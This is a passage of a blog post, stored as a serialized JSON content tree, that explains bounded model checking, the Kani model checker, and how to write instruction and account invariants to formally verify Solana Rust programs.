",{"type":23,"tag":141,"props":18373,"children":18374},{"style":160},[18375],{"type":29,"value":14364},{"type":23,"tag":141,"props":18377,"children":18378},{"style":472},[18379],{"type":29,"value":17925},{"type":23,"tag":141,"props":18381,"children":18382},{"style":154},[18383],{"type":29,"value":498},{"type":23,"tag":141,"props":18385,"children":18386},{"class":143,"line":2304},[18387,18392,18397],{"type":23,"tag":141,"props":18388,"children":18389},{"style":184},[18390],{"type":29,"value":18391},"print",{"type":23,"tag":141,"props":18393,"children":18394},{"style":154},[18395],{"type":29,"value":18396},"(s.check()) ",{"type":23,"tag":141,"props":18398,"children":18399},{"style":443},[18400],{"type":29,"value":18401},"# \"unsat\"\n",{"type":23,"tag":141,"props":18403,"children":18404},{"class":143,"line":2313},[18405],{"type":23,"tag":141,"props":18406,"children":18407},{"emptyLinePlaceholder":15},[18408],{"type":29,"value":719},{"type":23,"tag":141,"props":18410,"children":18411},{"class":143,"line":2335},[18412],{"type":23,"tag":141,"props":18413,"children":18414},{"style":443},[18415],{"type":29,"value":18416},"# Negative branch:\n",{"type":23,"tag":141,"props":18418,"children":18419},{"class":143,"line":2343},[18420,18424,18428],{"type":23,"tag":141,"props":18421,"children":18422},{"style":154},[18423],{"type":29,"value":18264},{"type":23,"tag":141,"props":18425,"children":18426},{"style":160},[18427],{"type":29,"value":1377},{"type":23,"tag":141,"props":18429,"children":18430},{"style":154},[18431],{"type":29,"value":18273},{"type":23,"tag":141,"props":18433,"children":18434},{"class":143,"line":2352},[18435,18439,18443,18447,18451,18455],{"type":23,"tag":141,"props":18436,"children":18437},{"style":154},[18438],{"type":29,"value":18281},{"type":23,"tag":141,"props":18440,"children":18441},{"style":160},[18442],{"type":29,"value":7251},{"type":23,"tag":141,"props":18444,"children":18445},{"style":154},[18446],{"type":29,"value":17761},{"type":23,"tag":141,"props":18448,"children":18449},{"style":160},[18450],{"type":29,"value":3058},{"type":23,"tag":141,"props":18452,"children":18453},{"style":472},[18454],{"type":29,"value":17770},{"type":23,"tag":141,"props":18456,"children":18457},{"style":154},[18458],{"type":29,"value":758},{"type":23,"tag":141,"props":18460,"children":18461},{"class":143,"line":2421},[18462,18466,18470,18474],{"type":23,"tag":141,"props":18463,"children":18464},{"style":154},[18465],{"type":29,"value":18281},{"type":23,"tag":141,"props":18467,"children":18468},{"style":160},[18469],{"type":29,"value":18086},{"type":23,"tag":141,"props":18471,"children":18472},{"style":472},[18473],{"type":29,"value":17807},{"type":23,"tag":141,"props":18475,"children":18476},{"style":154},[18477],{"type":29,"value":758},{"type":23,"tag":141,"props":18479,"children":18480},{"class":143,"line":2429},[18481,18485,18489,18493,18497,18501],{"type":23,"tag":141,"props":18482,"children":18483},{"style":154},[18484],{"type":29,"value":18328},{"type":23,"tag":141,"props":18486,"children":18487},{"style":160},[18488],{"type":29,"value":7251},{"type":23,"tag":141,"props":18490,"children":18491},{"style":154},[18492],{"type":29,"value":3189},{"type":23,"tag":141,"props":18494,"children":18495},{"style":160},[18496],{"type":29,"value":3058},{"type":23,"tag":141,"props":18498,"children":18499},{"style":472},[18500],{"type":29,"value":3198},{"type":23,"tag":141,"props":18502,"children":18503},{"style":154},[18504],{"type":29,"value":758},{"type":23,"tag":141,"props":18506,"children":18507},{"class":143,"line":2459},[18508],{"type":23,"tag":141,"props":18509,"children":18510},{"emptyLinePlaceholder":15},[18511],{"type":29,"value":719},{"type":23,"tag":141,"props":18513,"children":18514},{"class":143,"line":2467},[18515],{"type":23,"tag":141,"props":18516,"children":18517},{"style":443},[18518],{"type":29,"value":18363},{"type":23,"tag":141,"props":18520,"children":18521},{"class":143,"line":2499},[18522,18526,18530,18534],{"type":23,"tag":141,"props":18523,"children":18524},{"style":154},[18525],{"type":29,"value":18371},{"type":23,"tag":141,"props":18527,"children":18528},{"style":160},[18529],{"type":29,"value":14364},{"type":23,"tag":141,"props":18531,"children":18532},{"style":472},[18533],{"type":29,"value":17925},{"type":23,"tag":141,"props":18535,"children":18536},{"style":154},[18537],{"type":29,"value":498},{"type":23,"tag":141,"props":18539,"children":18540},{"class":143,"line":2507},[18541,18545,18549],{"type":23,"tag":141,"props":18542,"children":18543},{"style":184},[18544],{"type":29,"value":18391},{"type":23,"tag":141,"props":18546,"children":18547},{"style":154},[18548],{"type":29,"value":18396},{"type":23,"tag":141,"props":18550,"children":18551},{"style":443},[18552],{"type":29,"value":18401},{"type":23,"tag":32,"props":18554,"children":18555},{},[18556,18558,18564,18566,18571],{"type":29,"value":18557},"Both of these cases return ",{"type":23,"tag":38,"props":18559,"children":18561},{"className":18560},[],[18562],{"type":29,"value":18563},"unsat",{"type":29,"value":18565}," meaning z3 could not find a way to violate the correctness property, hence our program is ",{"type":23,"tag":47,"props":18567,"children":18568},{},[18569],{"type":29,"value":18570},"correct",{"type":29,"value":18572}," according to this property.",{"type":23,"tag":8287,"props":18574,"children":18576},{"id":18575},"loop-bounds-path-explosion",[18577],{"type":29,"value":18578},"Loop bounds & path explosion",{"type":23,"tag":32,"props":18580,"children":18581},{},[18582,18584,18589,18591,18596],{"type":29,"value":18583},"As you may have noticed, BMC requires us to take ",{"type":23,"tag":47,"props":18585,"children":18586},{},[18587],{"type":29,"value":18588},"every",{"type":29,"value":18590}," branch in the program. To be sure that our property holds, we need to check every possible route through the program. If we have 10 branches in a row we might need to test 2^10 paths! And if our program has loops, we may need to check an ",{"type":23,"tag":47,"props":18592,"children":18593},{},[18594],{"type":29,"value":18595},"infinite",{"type":29,"value":18597}," number of paths because the loop branches backward. This might take a while...",{"type":23,"tag":32,"props":18599,"children":18600},{},[18601],{"type":29,"value":18602},"This is where the \"bounded\" part of \"bounded model checking\" applies. Rather than unroll an infinite number of loops, we can set a loop bound and also verify that it is not possible to loop more than the loop bound.",{"type":23,"tag":32,"props":18604,"children":18605},{},[18606],{"type":29,"value":18607},"While this technique of bounding loops makes the problem tractable. It is still expensive to run BMC on very large programs due to the problem of path explosion. As our program gets larger, the number of possible paths scales potentially exponentially.",{"type":23,"tag":32,"props":18609,"children":18610},{},[18611],{"type":29,"value":18612},"One of the main challenges we will discuss later is how to address this problem of path explosion in the context of Solana Rust programs.",{"type":23,"tag":8287,"props":18614,"children":18616},{"id":18615},"kani-model-checker",[18617],{"type":29,"value":18618},"Kani Model Checker",{"type":23,"tag":32,"props":18620,"children":18621},{},[18622,18624,18629],{"type":29,"value":18623},"For our research with formally verifying Solana programs, we are using the ",{"type":23,"tag":55,"props":18625,"children":18627},{"href":17517,"rel":18626},[59],[18628],{"type":29,"value":17521},{"type":29,"value":18630},": an open-source, bit-precise model checker for Rust created at AWS. Under the hood, Kani uses the C Bounded Model Checker (CBMC) to do the heavy lifting.",{"type":23,"tag":32,"props":18632,"children":18633},{},[18634,18636,18641,18643,18649,18650,18656,18658,18664],{"type":29,"value":18635},"Kani allows you to write ",{"type":23,"tag":47,"props":18637,"children":18638},{},[18639],{"type":29,"value":18640},"proof harnesses",{"type":29,"value":18642}," which can invoke Rust functions with symbolic values. These harnesses can ",{"type":23,"tag":38,"props":18644,"children":18646},{"className":18645},[],[18647],{"type":29,"value":18648},"assume",{"type":29,"value":313},{"type":23,"tag":38,"props":18651,"children":18653},{"className":18652},[],[18654],{"type":29,"value":18655},"assert",{"type":29,"value":18657}," certain conditions about these symbolic values and then you can verify that a proof harness holds via the ",{"type":23,"tag":38,"props":18659,"children":18661},{"className":18660},[],[18662],{"type":29,"value":18663},"cargo kani",{"type":29,"value":18665}," tool (which compiles your proof harness and runs BMC).",{"type":23,"tag":24,"props":18667,"children":18669},{"id":18668},"specification-how-can-we-describe-what-we-want-our-program-to-do",[18670,18672,18676],{"type":29,"value":18671},"Specification: How can we describe what we ",{"type":23,"tag":47,"props":18673,"children":18674},{},[18675],{"type":29,"value":17591},{"type":29,"value":17593},{"type":23,"tag":32,"props":18678,"children":18679},{},[18680],{"type":23,"tag":47,"props":18681,"children":18682},{},[18683],{"type":23,"tag":3998,"props":18684,"children":18685},{},[18686],{"type":29,"value":18687},"And what even do we want it to do?",{"type":23,"tag":32,"props":18689,"children":18690},{},[18691,18693,18698],{"type":29,"value":18692},"A fundamental challenge with any formal verification framework is ",{"type":23,"tag":47,"props":18694,"children":18695},{},[18696],{"type":29,"value":18697},"specifying",{"type":29,"value":18699}," what the \"correct\" behavior should be.",{"type":23,"tag":32,"props":18701,"children":18702},{},[18703],{"type":29,"value":18704},"In natural language, we can describe a few good properties for example Solana programs:",{"type":23,"tag":15362,"props":18706,"children":18707},{},[18708,18720,18732],{"type":23,"tag":120,"props":18709,"children":18710},{},[18711,18713,18718],{"type":29,"value":18712},"\"It should not be possible to ",{"type":23,"tag":3998,"props":18714,"children":18715},{},[18716],{"type":29,"value":18717},"steal money",{"type":29,"value":18719}," via a swap program\"",{"type":23,"tag":120,"props":18721,"children":18722},{},[18723,18725,18730],{"type":29,"value":18724},"\"A multisig should never get into a state where you ",{"type":23,"tag":3998,"props":18726,"children":18727},{},[18728],{"type":29,"value":18729},"can't sign anything",{"type":29,"value":18731},"\"",{"type":23,"tag":120,"props":18733,"children":18734},{},[18735],{"type":29,"value":18736},"\"User funds in a staking protocol \"",{"type":23,"tag":32,"props":18738,"children":18739},{},[18740,18742,18752,18754,18759],{"type":29,"value":18741},"These are types of properties you can tell your ",{"type":23,"tag":55,"props":18743,"children":18746},{"href":18744,"rel":18745},"https://osec.io/",[59],[18747],{"type":23,"tag":47,"props":18748,"children":18749},{},[18750],{"type":29,"value":18751},"human auditors",{"type":29,"value":18753}," but these English phrases are not particularly useful for ",{"type":23,"tag":47,"props":18755,"children":18756},{},[18757],{"type":29,"value":18758},"automated verification techniques",{"type":29,"value":18760}," (at least until our AI overlords surpass human intelligence).",{"type":23,"tag":32,"props":18762,"children":18763},{},[18764,18766,18771,18773,18778],{"type":29,"value":18765},"Instead, we need to be able to specify ",{"type":23,"tag":47,"props":18767,"children":18768},{},[18769],{"type":29,"value":18770},"in code",{"type":29,"value":18772}," what properties we want to check. Ideally, we could define invariants that fit nicely into something like an ",{"type":23,"tag":38,"props":18774,"children":18776},{"className":18775},[],[18777],{"type":29,"value":18655},{"type":29,"value":18779}," statement.",{"type":23,"tag":8287,"props":18781,"children":18783},{"id":18782},"solana-invariants",[18784],{"type":29,"value":18785},"Solana Invariants",{"type":23,"tag":32,"props":18787,"children":18788},{},[18789,18791,18796,18797,18802],{"type":29,"value":18790},"In the context of Solana programs we define two different types of properties that we would like to verify: ",{"type":23,"tag":3998,"props":18792,"children":18793},{},[18794],{"type":29,"value":18795},"instruction invariants",{"type":29,"value":313},{"type":23,"tag":3998,"props":18798,"children":18799},{},[18800],{"type":29,"value":18801},"account invariants",{"type":29,"value":322},{"type":23,"tag":17563,"props":18804,"children":18806},{"id":18805},"instruction-invariant",[18807],{"type":29,"value":18808},"Instruction Invariant",{"type":23,"tag":32,"props":18810,"children":18811},{},[18812,18814,18819,18821,18827,18828,18834],{"type":29,"value":18813},"An ",{"type":23,"tag":3998,"props":18815,"children":18816},{},[18817],{"type":29,"value":18818},"instruction invariant",{"type":29,"value":18820}," specifies sufficient conditions for an instruction to succeed (or fail). These are specified as ",{"type":23,"tag":38,"props":18822,"children":18824},{"className":18823},[],[18825],{"type":29,"value":18826},"succeeds_if",{"type":29,"value":11812},{"type":23,"tag":38,"props":18829,"children":18831},{"className":18830},[],[18832],{"type":29,"value":18833},"errors_if",{"type":29,"value":18835}," macro annotations on the instruction handler.",{"type":23,"tag":32,"props":18837,"children":18838},{},[18839],{"type":29,"value":18840},"In Solana, when an instruction fails, the entire transaction is reverted. Failing an instruction on purpose is commonly used as a form of access control; invalid accounts, bad state, etc... will cause an instruction to fail and get reverted.",{"type":23,"tag":32,"props":18842,"children":18843},{},[18844,18846,18852,18854,18859],{"type":29,"value":18845},"For example, say we have a ",{"type":23,"tag":38,"props":18847,"children":18849},{"className":18848},[],[18850],{"type":29,"value":18851},"Withdraw",{"type":29,"value":18853}," instruction that lets a user withdraw some tokens. A security critical property we may want to verify is that the user cannot withdraw ",{"type":23,"tag":47,"props":18855,"children":18856},{},[18857],{"type":29,"value":18858},"more",{"type":29,"value":18860}," tokens than their current balance.",{"type":23,"tag":32,"props":18862,"children":18863},{},[18864,18866,18871],{"type":29,"value":18865},"Using our tool, you could specify the following ",{"type":23,"tag":38,"props":18867,"children":18869},{"className":18868},[],[18870],{"type":29,"value":18833},{"type":29,"value":18872}," property on your instruction handler:",{"type":23,"tag":131,"props":18874,"children":18876},{"code":18875,"language":1638,"meta":7,"className":1639,"style":7},"#[errors_if(\n ctx.user.balance \u003C amount\n)]\nfn withdraw(ctx: Context\u003CWithdraw>, amount: u64) -> Result\u003C()> {\n ...\n}\n",[18877],{"type":23,"tag":38,"props":18878,"children":18879},{"__ignoreMap":7},[18880,18888,18923,18931,19004,19012],{"type":23,"tag":141,"props":18881,"children":18882},{"class":143,"line":144},[18883],{"type":23,"tag":141,"props":18884,"children":18885},{"style":154},[18886],{"type":29,"value":18887},"#[errors_if(\n",{"type":23,"tag":141,"props":18889,"children":18890},{"class":143,"line":180},[18891,18896,18900,18905,18909,18914,18918],{"type":23,"tag":141,"props":18892,"children":18893},{"style":154},[18894],{"type":29,"value":18895}," ctx",{"type":23,"tag":141,"props":18897,"children":18898},{"style":160},[18899],{"type":29,"value":322},{"type":23,"tag":141,"props":18901,"children":18902},{"style":154},[18903],{"type":29,"value":18904},"user",{"type":23,"tag":141,"props":18906,"children":18907},{"style":160},[18908],{"type":29,"value":322},{"type":23,"tag":141,"props":18910,"children":18911},{"style":154},[18912],{"type":29,"value":18913},"balance ",{"type":23,"tag":141,"props":18915,"children":18916},{"style":160},[18917],{"type":29,"value":4480},{"type":23,"tag":141,"props":18919,"children":18920},{"style":154},[18921],{"type":29,"value":18922}," amount\n",{"type":23,"tag":141,"props":18924,"children":18925},{"class":143,"line":205},[18926],{"type":23,"tag":141,"props":18927,"children":18928},{"style":154},[18929],{"type":29,"value":18930},")]\n",{"type":23,"tag":141,"props":18932,"children":18933},{"class":143,"line":218},[18934,18939,18944,18948,18953,18957,18962,18966,18970,18974,18979,18983,18987,18991,18995,18999],{"type":23,"tag":141,"props":18935,"children":18936},{"style":449},[18937],{"type":29,"value":18938},"fn",{"type":23,"tag":141,"props":18940,"children":18941},{"style":184},[18942],{"type":29,"value":18943}," withdraw",{"type":23,"tag":141,"props":18945,"children":18946},{"style":154},[18947],{"type":29,"value":192},{"type":23,"tag":141,"props":18949,"children":18950},{"style":750},[18951],{"type":29,"value":18952},"ctx",{"type":23,"tag":141,"props":18954,"children":18955},{"style":160},[18956],{"type":29,"value":114},{"type":23,"tag":141,"props":18958,"children":18959},{"style":725},[18960],{"type":29,"value":18961}," Context",{"type":23,"tag":141,"props":18963,"children":18964},{"style":154},[18965],{"type":29,"value":4480},{"type":23,"tag":141,"props":18967,"children":18968},{"style":725},[18969],{"type":29,"value":18851},{"type":23,"tag":141,"props":18971,"children":18972},{"style":154},[18973],{"type":29,"value":5304},{"type":23,"tag":141,"props":18975,"children":18976},{"style":750},[18977],{"type":29,"value":18978},"amount",{"type":23,"tag":141,"props":18980,"children":18981},{"style":160},[18982],{"type":29,"value":114},{"type":23,"tag":141,"props":18984,"children":18985},{"style":725},[18986],{"type":29,"value":4534},{"type":23,"tag":141,"props":18988,"children":18989},{"style":154},[18990],{"type":29,"value":1748},{"type":23,"tag":141,"props":18992,"children":18993},{"style":160},[18994],{"type":29,"value":12435},{"type":23,"tag":141,"props":18996,"children":18997},{"style":725},[18998],{"type":29,"value":12440},{"type":23,"tag":141,"props":19000,"children":19001},{"style":154},[19002],{"type":29,"value":19003},"\u003C()> {\n",{"type":23,"tag":141,"props":19005,"children":19006},{"class":143,"line":227},[19007],{"type":23,"tag":141,"props":19008,"children":19009},{"style":160},[19010],{"type":29,"value":19011}," ...\n",{"type":23,"tag":141,"props":19013,"children":19014},{"class":143,"line":241},[19015],{"type":23,"tag":141,"props":19016,"children":19017},{"style":154},[19018],{"type":29,"value":2573},{"type":23,"tag":355,"props":19020,"children":19021},{},[19022],{"type":23,"tag":32,"props":19023,"children":19024},{},[19025,19026,19031,19033,19038,19040,19045],{"type":29,"value":388},{"type":23,"tag":38,"props":19027,"children":19029},{"className":19028},[],[19030],{"type":29,"value":18833},{"type":29,"value":19032}," expression specifies ",{"type":23,"tag":47,"props":19034,"children":19035},{},[19036],{"type":29,"value":19037},"succifient",{"type":29,"value":19039}," but not ",{"type":23,"tag":47,"props":19041,"children":19042},{},[19043],{"type":29,"value":19044},"necessary",{"type":29,"value":19046}," conditions for an instruction to fail. I.e. it imposes a strong lower bound on what the requirements are for an instruction to fail.",{"type":23,"tag":17463,"props":19048,"children":19049},{},[],{"type":23,"tag":32,"props":19051,"children":19052},{},[19053,19055,19060],{"type":29,"value":19054},"Another example is that for ",{"type":23,"tag":47,"props":19056,"children":19057},{},[19058],{"type":29,"value":19059},"crank",{"type":29,"value":19061}," functions — run by unauthenticated users to advance the state of the system, you may want to prove that they never fail. In that case, you could specify an invariant like the following:",{"type":23,"tag":131,"props":19063,"children":19065},{"code":19064,"language":1638,"meta":7,"className":1639,"style":7},"#[succeeds_if(true)]\nfn my_crank(ctx: Context\u003CCrank>) -> Result\u003C()> {\n ...\n}\n",[19066],{"type":23,"tag":38,"props":19067,"children":19068},{"__ignoreMap":7},[19069,19077,19131,19138],{"type":23,"tag":141,"props":19070,"children":19071},{"class":143,"line":144},[19072],{"type":23,"tag":141,"props":19073,"children":19074},{"style":154},[19075],{"type":29,"value":19076},"#[succeeds_if(true)]\n",{"type":23,"tag":141,"props":19078,"children":19079},{"class":143,"line":180},[19080,19084,19089,19093,19097,19101,19105,19109,19114,19119,19123,19127],{"type":23,"tag":141,"props":19081,"children":19082},{"style":449},[19083],{"type":29,"value":18938},{"type":23,"tag":141,"props":19085,"children":19086},{"style":184},[19087],{"type":29,"value":19088}," my_crank",{"type":23,"tag":141,"props":19090,"children":19091},{"style":154},[19092],{"type":29,"value":192},{"type":23,"tag":141,"props":19094,"children":19095},{"style":750},[19096],{"type":29,"value":18952},{"type":23,"tag":141,"props":19098,"children":19099},{"style":160},[19100],{"type":29,"value":114},{"type":23,"tag":141,"props":19102,"children":19103},{"style":725},[19104],{"type":29,"value":18961},{"type":23,"tag":141,"props":19106,"children":19107},{"style":154},[19108],{"type":29,"value":4480},{"type":23,"tag":141,"props":19110,"children":19111},{"style":725},[19112],{"type":29,"value":19113},"Crank",{"type":23,"tag":141,"props":19115,"children":19116},{"style":154},[19117],{"type":29,"value":19118},">) ",{"type":23,"tag":141,"props":19120,"children":19121},{"style":160},[19122],{"type":29,"value":12435},{"type":23,"tag":141,"props":19124,"children":19125},{"style":725},[19126],{"type":29,"value":12440},{"type":23,"tag":141,"props":19128,"children":19129},{"style":154},[19130],{"type":29,"value":19003},{"type":23,"tag":141,"props":19132,"children":19133},{"class":143,"line":205},[19134],{"type":23,"tag":141,"props":19135,"children":19136},{"style":160},[19137],{"type":29,"value":19011},{"type":23,"tag":141,"props":19139,"children":19140},{"class":143,"line":218},[19141],{"type":23,"tag":141,"props":19142,"children":19143},{"style":154},[19144],{"type":29,"value":2573},{"type":23,"tag":32,"props":19146,"children":19147},{},[19148,19150,19154,19156,19162],{"type":29,"value":19149},"With this invariant, you could prove that the function ",{"type":23,"tag":47,"props":19151,"children":19152},{},[19153],{"type":29,"value":11772},{"type":29,"value":19155}," returns ",{"type":23,"tag":38,"props":19157,"children":19159},{"className":19158},[],[19160],{"type":29,"value":19161},"Ok",{"type":29,"value":19163},". This type of construction could help avoid possible denial of service attacks if a crank could get \"stuck.\"",{"type":23,"tag":17463,"props":19165,"children":19166},{},[],{"type":23,"tag":32,"props":19168,"children":19169},{},[19170,19172,19177,19178,19183,19185,19190,19192,19197,19199,19204],{"type":29,"value":19171},"Note that ",{"type":23,"tag":38,"props":19173,"children":19175},{"className":19174},[],[19176],{"type":29,"value":18826},{"type":29,"value":313},{"type":23,"tag":38,"props":19179,"children":19181},{"className":19180},[],[19182],{"type":29,"value":18833},{"type":29,"value":19184}," are both implications and not biconditionals. That is, a function may succeed even if ",{"type":23,"tag":38,"props":19186,"children":19188},{"className":19187},[],[19189],{"type":29,"value":18826},{"type":29,"value":19191}," is not satisfied and a function may fail even if ",{"type":23,"tag":38,"props":19193,"children":19195},{"className":19194},[],[19196],{"type":29,"value":18833},{"type":29,"value":19198}," is not satisfied. If you want to prove the ",{"type":23,"tag":47,"props":19200,"children":19201},{},[19202],{"type":29,"value":19203},"exact condition",{"type":29,"value":19205}," required for an instruction to succeed, you could use a form like the following:",{"type":23,"tag":131,"props":19207,"children":19209},{"code":19208,"language":1638,"meta":7,"className":1639,"style":7},"fn my_invariant(...) -> bool { ... }\n\n#[succeeds_if(my_invariant(...))]\n#[errors_if(!my_invariant(...))]\nfn my_instruction(ctx: Context\u003C...>) -> Result\u003C()> {\n ...\n}\n",[19210],{"type":23,"tag":38,"props":19211,"children":19212},{"__ignoreMap":7},[19213,19257,19264,19281,19307,19359,19366],{"type":23,"tag":141,"props":19214,"children":19215},{"class":143,"line":144},[19216,19220,19225,19229,19233,19237,19241,19245,19249,19253],{"type":23,"tag":141,"props":19217,"children":19218},{"style":449},[19219],{"type":29,"value":18938},{"type":23,"tag":141,"props":19221,"children":19222},{"style":184},[19223],{"type":29,"value":19224}," my_invariant",{"type":23,"tag":141,"props":19226,"children":19227},{"style":154},[19228],{"type":29,"value":192},{"type":23,"tag":141,"props":19230,"children":19231},{"style":160},[19232],{"type":29,"value":8269},{"type":23,"tag":141,"props":19234,"children":19235},{"style":154},[19236],{"type":29,"value":1748},{"type":23,"tag":141,"props":19238,"children":19239},{"style":160},[19240],{"type":29,"value":12435},{"type":23,"tag":141,"props":19242,"children":19243},{"style":725},[19244],{"type":29,"value":10730},{"type":23,"tag":141,"props":19246,"children":19247},{"style":154},[19248],{"type":29,"value":8264},{"type":23,"tag":141,"props":19250,"children":19251},{"style":160},[19252],{"type":29,"value":8269},{"type":23,"tag":141,"props":19254,"children":19255},{"style":154},[19256],{"type":29,"value":8274},{"type":23,"tag":141,"props":19258,"children":19259},{"class":143,"line":180},[19260],{"type":23,"tag":141,"props":19261,"children":19262},{"emptyLinePlaceholder":15},[19263],{"type":29,"value":719},{"type":23,"tag":141,"props":19265,"children":19266},{"class":143,"line":205},[19267,19272,19276],{"type":23,"tag":141,"props":19268,"children":19269},{"style":154},[19270],{"type":29,"value":19271},"#[succeeds_if(my_invariant(",{"type":23,"tag":141,"props":19273,"children":19274},{"style":160},[19275],{"type":29,"value":8269},{"type":23,"tag":141,"props":19277,"children":19278},{"style":154},[19279],{"type":29,"value":19280},"))]\n",{"type":23,"tag":141,"props":19282,"children":19283},{"class":143,"line":218},[19284,19289,19294,19299,19303],{"type":23,"tag":141,"props":19285,"children":19286},{"style":154},[19287],{"type":29,"value":19288},"#[errors_if(",{"type":23,"tag":141,"props":19290,"children":19291},{"style":160},[19292],{"type":29,"value":19293},"!",{"type":23,"tag":141,"props":19295,"children":19296},{"style":154},[19297],{"type":29,"value":19298},"my_invariant(",{"type":23,"tag":141,"props":19300,"children":19301},{"style":160},[19302],{"type":29,"value":8269},{"type":23,"tag":141,"props":19304,"children":19305},{"style":154},[19306],{"type":29,"value":19280},{"type":23,"tag":141,"props":19308,"children":19309},{"class":143,"line":227},[19310,19314,19319,19323,19327,19331,19335,19339,19343,19347,19351,19355],{"type":23,"tag":141,"props":19311,"children":19312},{"style":449},[19313],{"type":29,"value":18938},{"type":23,"tag":141,"props":19315,"children":19316},{"style":184},[19317],{"type":29,"value":19318}," my_instruction",{"type":23,"tag":141,"props":19320,"children":19321},{"style":154},[19322],{"type":29,"value":192},{"type":23,"tag":141,"props":19324,"children":19325},{"style":750},[19326],{"type":29,"value":18952},{"type":23,"tag":141,"props":19328,"children":19329},{"style":160},[19330],{"type":29,"value":114},{"type":23,"tag":141,"props":19332,"children":19333},{"style":725},[19334],{"type":29,"value":18961},{"type":23,"tag":141,"props":19336,"children":19337},{"style":154},[19338],{"type":29,"value":4480},{"type":23,"tag":141,"props":19340,"children":19341},{"style":160},[19342],{"type":29,"value":8269},{"type":23,"tag":141,"props":19344,"children":19345},{"style":154},[19346],{"type":29,"value":19118},{"type":23,"tag":141,"props":19348,"children":19349},{"style":160},[19350],{"type":29,"value":12435},{"type":23,"tag":141,"props":19352,"children":19353},{"style":725},[19354],{"type":29,"value":12440},{"type":23,"tag":141,"props":19356,"children":19357},{"style":154},[19358],{"type":29,"value":19003},{"type":23,"tag":141,"props":19360,"children":19361},{"class":143,"line":241},[19362],{"type":23,"tag":141,"props":19363,"children":19364},{"style":160},[19365],{"type":29,"value":19011},{"type":23,"tag":141,"props":19367,"children":19368},{"class":143,"line":262},[19369],{"type":23,"tag":141,"props":19370,"children":19371},{"style":154},[19372],{"type":29,"value":2573},{"type":23,"tag":32,"props":19374,"children":19375},{},[19376],{"type":29,"value":19377},"Note that in practice, it is usually not necessary (or useful) to find the exact condition; rather we can achieve the security properties we want purely by proving upper and lower bounds on instruction success.",{"type":23,"tag":17563,"props":19379,"children":19381},{"id":19380},"account-invariants",[19382],{"type":29,"value":19383},"Account Invariants",{"type":23,"tag":32,"props":19385,"children":19386},{},[19387,19389,19394],{"type":29,"value":19388},"The other type of invariant is an ",{"type":23,"tag":3998,"props":19390,"children":19391},{},[19392],{"type":29,"value":19393},"Account Invariant",{"type":29,"value":19395},". This invariant describes some property of an account that should always hold.",{"type":23,"tag":32,"props":19397,"children":19398},{},[19399,19401,19406,19407,19413],{"type":29,"value":19400},"In our tool, we verify that the account invariant holds after every instruction that could modify the account data (i.e. if the account is ",{"type":23,"tag":38,"props":19402,"children":19404},{"className":19403},[],[19405],{"type":29,"value":2389},{"type":29,"value":11812},{"type":23,"tag":38,"props":19408,"children":19410},{"className":19409},[],[19411],{"type":29,"value":19412},"init",{"type":29,"value":19414},").",{"type":23,"tag":32,"props":19416,"children":19417},{},[19418,19420,19426],{"type":29,"value":19419},"For example, given a mock ",{"type":23,"tag":38,"props":19421,"children":19423},{"className":19422},[],[19424],{"type":29,"value":19425},"UserStatement",{"type":29,"value":19427}," account that represents how much a user owns and owes, we could write an invariant that asserts that the net balance is positive:",{"type":23,"tag":131,"props":19429,"children":19431},{"code":19430,"language":1638,"meta":7,"className":1639,"style":7},"#[account]\n#[invariant(\n self.assets >= self.liabilities\n)]\nstruct UserStatement {\n pub owner: Pubkey,\n pub assets: u64,\n pub liabilities: u64,\n}\n",[19432],{"type":23,"tag":38,"props":19433,"children":19434},{"__ignoreMap":7},[19435,19443,19451,19485,19492,19508,19534,19558,19582],{"type":23,"tag":141,"props":19436,"children":19437},{"class":143,"line":144},[19438],{"type":23,"tag":141,"props":19439,"children":19440},{"style":154},[19441],{"type":29,"value":19442},"#[account]\n",{"type":23,"tag":141,"props":19444,"children":19445},{"class":143,"line":180},[19446],{"type":23,"tag":141,"props":19447,"children":19448},{"style":154},[19449],{"type":29,"value":19450},"#[invariant(\n",{"type":23,"tag":141,"props":19452,"children":19453},{"class":143,"line":205},[19454,19459,19463,19468,19472,19476,19480],{"type":23,"tag":141,"props":19455,"children":19456},{"style":154},[19457],{"type":29,"value":19458}," self",{"type":23,"tag":141,"props":19460,"children":19461},{"style":160},[19462],{"type":29,"value":322},{"type":23,"tag":141,"props":19464,"children":19465},{"style":154},[19466],{"type":29,"value":19467},"assets ",{"type":23,"tag":141,"props":19469,"children":19470},{"style":160},[19471],{"type":29,"value":8623},{"type":23,"tag":141,"props":19473,"children":19474},{"style":154},[19475],{"type":29,"value":12475},{"type":23,"tag":141,"props":19477,"children":19478},{"style":160},[19479],{"type":29,"value":322},{"type":23,"tag":141,"props":19481,"children":19482},{"style":154},[19483],{"type":29,"value":19484},"liabilities\n",{"type":23,"tag":141,"props":19486,"children":19487},{"class":143,"line":218},[19488],{"type":23,"tag":141,"props":19489,"children":19490},{"style":154},[19491],{"type":29,"value":18930},{"type":23,"tag":141,"props":19493,"children":19494},{"class":143,"line":227},[19495,19499,19504],{"type":23,"tag":141,"props":19496,"children":19497},{"style":449},[19498],{"type":29,"value":8079},{"type":23,"tag":141,"props":19500,"children":19501},{"style":725},[19502],{"type":29,"value":19503}," UserStatement",{"type":23,"tag":141,"props":19505,"children":19506},{"style":154},[19507],{"type":29,"value":1951},{"type":23,"tag":141,"props":19509,"children":19510},{"class":143,"line":241},[19511,19516,19521,19525,19530],{"type":23,"tag":141,"props":19512,"children":19513},{"style":449},[19514],{"type":29,"value":19515}," pub",{"type":23,"tag":141,"props":19517,"children":19518},{"style":750},[19519],{"type":29,"value":19520}," owner",{"type":23,"tag":141,"props":19522,"children":19523},{"style":160},[19524],{"type":29,"value":114},{"type":23,"tag":141,"props":19526,"children":19527},{"style":725},[19528],{"type":29,"value":19529}," Pubkey",{"type":23,"tag":141,"props":19531,"children":19532},{"style":154},[19533],{"type":29,"value":2168},{"type":23,"tag":141,"props":19535,"children":19536},{"class":143,"line":262},[19537,19541,19546,19550,19554],{"type":23,"tag":141,"props":19538,"children":19539},{"style":449},[19540],{"type":29,"value":19515},{"type":23,"tag":141,"props":19542,"children":19543},{"style":750},[19544],{"type":29,"value":19545}," 